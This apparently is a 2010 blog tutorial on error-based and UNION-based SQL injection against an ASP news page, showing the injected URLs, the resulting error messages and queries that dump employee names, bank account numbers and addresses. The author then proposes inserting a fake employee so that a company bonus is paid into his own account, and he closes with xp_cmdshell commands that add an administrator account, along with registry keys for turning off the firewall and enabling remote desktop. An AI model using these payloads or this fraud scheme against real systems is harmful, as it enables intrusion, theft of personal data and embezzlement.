Tuesday 14 September 2010

Basic Steps On SQL Injections



Introduction

I've seen a lot of short tutorials on SQL injections and then again some which rivals the Great Wall of china in length, but I've very rarely seen a SQL injection tutorial based on an actual hack where things aren't always ideal.

This guide will attempt to explain the very basics of SQL injections.



This tutorial is written from a website created by a friend of mine which was loaded on my local host.
After navigating around for a while I found something interesting

http://localhost/news/display.asp?id=75






-------------------------------------------------------------------

Section 1 - A Quick Glance at SQL Statements

-------------------------------------------------------------------

Anyone who's ever taken a look at SQL injections won't be surprised to know what I did next...

http://localhost/news/display.asp?id=75'

Unclosed quotation mark after the character string ''.


So for all of you who don't know why I'm getting the error:

The ID is passed (posted) to the SQL server and added in the query...


SQL SELECT queries consists of 3 basic building blocks,

1) SELECT
2) FROM
3) WHERE

SELECT is used to specify what information should be returned, usually column names are used here

FROM specifies where the information that you want to select is contained, usually a table name

WHERE is used to specify conditions, data will be only be selected if the data set matches the conditions.

Let's take the following example of a table called "Demo" which consists of the columns, "ID", "Text", "Active" and "GROUP"

TBLDEMO

ID TEXT ACTIVE GROUP
1 First Result TRUE 0
2 Second Result FALSE 54
3 Third Result TRUE 54
4 Fourth Result FALSE 36
5 RAMBO FALSE 1
6 NULL TRUE 0


Now based on this information the query

SELECT Text, ACTIVE, GROUP FROM TBLDEMO;

Should produce the following results:
First Result TRUE 0
Second Result FALSE 54
Third Result TRUE 54
Fourth Result FALSE 36
RAMBO FALSE 1
TRUE 0

Notice how "NULL" is not displayed at all...
This is because a NULL value literally means nothing.
0 is an actual value, it means 1 less than 1 and 1 more than -1.
This is a very very important difference to understand, since some columns are set to accept NULL values, while others don't!


SELECT TEXT from TBLDEMO where Active = TRUE;

First Result
Third Result

These are all the values for the column text WHERE the "ACTIVE" column has a value equal to TRUE.

SELECT TEXT from TBLDEMO where Active <> False;
Would produce the same result as in the example above.

Got it? It's a lot like playing battleship, one player calls A4, based on the data in front of the other player a response of either "miss" or "hit" is generated. It's not always that easy though, SQL queries can become very very complicated, this is the absolute basics.

-------------------------------------------------------------------
Section 2 - Gathering the Information
-------------------------------------------------------------------

Finding a point of reference

Carrying on from http://localhost/news/display.asp?id=75'

Unclosed quotation mark after the character string ''.

An educated guess would tell me that ID in the query string is used a sql query which goes something like this:

SELECT title, author, description, synopsis, date FROM tblwhichcontainsNewsItems WHERE ID = X

Where X is replaced with the value from the URL,

Which means if I do this http://localhost/news/display.asp?id=75+HAVING 1=1--

Column 'NEWS.NewsID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

So what exactly did I achieve there?
That, 'NEWS.NewsID' is the first column in the table NEWS

So by adding GROUP BY NEWSID(http://localhost/news/display.asp?id=75+GROUP+BY+NEWSID+HAVING 1=1--)

I receive a new error message and you guessed it, the second column in the NEWS table is given to me.

-------------------------------------------------------------------

Section 3 - Moving the point of reference

-------------------------------------------------------------------

Well that's great, but I doubt we'll be able to get anything remotely exciting in the news table, to be honest I'd rather watch Season 4 of House with commentary than stare at the info for a bunch of news articles, so what we need to do next is find other tables contained in the Database. Now we know the site has a sql injection vulnerability and we were already able to find the complete structure of one table, so by amending the sql query a bit, it spits out the info we need...


So from here I try the query UNION SELECT name FROM sys objects...

But now I get an error message, why?

Each SQL statement within the UNION query must have the same number of fields in the result sets with similar data types.

This is translated a bit from the original error message for a bit more clarity, I need to UNION with the same number of columns and these columns MUST match the same data types...

Let's take a closer look at this based on the previous example:


TBLDEMO

ID TEXT ACTIVE GROUP
1 First Result TRUE 0
2 Second Result FALSE 54
3 Third Result TRUE 54
4 Fourth Result FALSE 36
5 RAMBO FALSE 1
6 NULL TRUE 0

TBLUNION

ID TEXT UserID Username Password
1 First Result TRUE john john
2 Second Result FALSE mike mike
3 Third Result TRUE Larry Larry
4 Fourth Result FALSE Natasha Natasha
5 RAMBO FALSE Bruce Bruce
6 NULL TRUE Chuck Chuck




So let's take the SQL query from the first example and add a union query to it:


SELECT Text, ACTIVE, GROUP FROM TBLDEMO WHERE ID = X UNION SELECT Username,Password FROM TBLUNION

So the first problem is that the first part of the query select 3 columns whilst the second part only select 2...

We'll need to amend this so both "sides" of the union query select the same number of results

SELECT Text, ACTIVE, GROUP FROM TBLDEMO WHERE ID = X UNION SELECT Username,Password,UserID FROM TBLUNION

Now a new error, "Cannot convert...whatever"

This is where data types comes into play,

Compare the columns like so:

TEXT USERNAME
ACTIVE PASSWORD
GROUP USERID

If these columns are rewritten to display the type of data it can take it should like something like this:

String String (Correct)
Boolean String (Wrong)
Integer Integer (Correct)

So we should rewrite the query so the statements are the same in

1) NUMBER
2) DATA TYPE

So what happens when a query select 7 columns but the table your trying to read from only has 3?

Use the same column more than once...

UNION SELECT TEXT,TEXT,TEXT,TEXT,TEXT,TEXT,TEXT FROM TBLDEMO;

This is a perfectly valid SQL query, it will display the same info 7 times, but sometimes that's the easiest way to extract the information.


Getting table names, continued...

So from here let's carry on with the previous query and extract table names from the application.

UNION SELECT name,name,name,name FROM sys objects.

The page loads just fine when this UNION statement is added and the info isn't displayed anywhere on the page...
Now we'll have to generate an error to get the info we require, this can be done in the same fashion as when extracting column names Having 1=1 and GROUP BY

UNION SELECT name,name,name,name FROM sys objects HAVING 1 = 1

-------------------------------------------------------------------
Section 4 - In Closing

-------------------------------------------------------------------

Now we receive the first table in the database, we could go on with GROUP BY and comma separate each result, but most web server only process requests up to that many characters then you start seeing 404 errors (Page not found)

Most of your first results should be system tables, you can exclude these tables by adding where type = 'U'
This will force the SQL query to only bring back results where the table was created by a user ie. NOT the default system tables...


Carrying on like this (Yes I know it can be time consuming) you should be able to see each table in the database, if there are so many tables that you can't carry on and system tables are already excluded, look into the statement
WHERE name NOT LIKE '%sometext%' I'm not going to go into detail on this since it is quite rare.


So while digging I discovered the following interesting tables and the row's values in each table:


Table name + column name Value returned
Competition.CompetitionID 1
Competition.Name Apr-08
Competition.bankNo ######
Competition.Outstanding TRUE
Competition.basevalue 4000
Competition.competition Employee of the month
Competition.Winner John Doe
Competition.WinnerID 34
Competition.TransactionStatus Pending

Table name + column name Value returned

Employees.ID 1
Employees.Name Bill
Employees.Surname Gates
Employees.Email bill@gmail.com
Employee.Department Management
Employees.DepartmentBuildingID 1
Employees.Branch Head Office
Employees.Salary MASKED (some insane value)
Empluyees.JobTitle CEO
Employees.BankAccountNr 11111111
Employees.BankAccountName General Savings
Employees.BankAccountCode 1534
Employees.LeaveDue 98
Employees.Phone Number 555-555 55
Employees.CellNumber 065 5452 54111
Employees.Address Some address

So from this information I can deduce that there is a bonus paid to the employee of the month, so I wonder, what would happen if I create a new employee on the system, rig the database to pay the bonus to that employee and set up the bank account for this new employee as my own?

The short answer: Unless you're really good with making money and people disappear, you'd get caught, which is something I'm not covering in this tutorial :)

So anyway, by running a INSERT INTO Employees values [the values] statement and running this same statement on the Competition table, I should receive a large little bonus next month.

I've explained the very basics of gathering the information required. Making changes in the DB, that's up to you, I've never been a fan of "here you go, now your an elite h4x0r" because it really makes script kiddies think they know everything.


-------------------------------------------------------------------
Section 5 - Going further
-------------------------------------------------------------------

This guide was written as a very basic introduction for those who are just starting out, but for those of who you are a bit further than getting names and data, I still wanted to include a few things so you too can gain from this article, I suggest you take a look at the following procedures:

1) Xp_cmdshell `net user foo bar /ADD' Xp_cmdshell `net localgroup /ADD Administrators foo

2)sp_makewebtask (Probably my all time favorite since so many sys admins block CMDShell and not Makewebtask)

3) XP_RegRead & XP_RegWrite
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]Remove Formatting from selection

(Note if a hardware firewall is preventing the connection, this trick will not work) 

........... .................................................................................................................................................................................................

0 comments:

Post a Comment

Related Posts Plugin for WordPress, Blogger...
Twitter Delicious Facebook Digg Stumbleupon Favorites More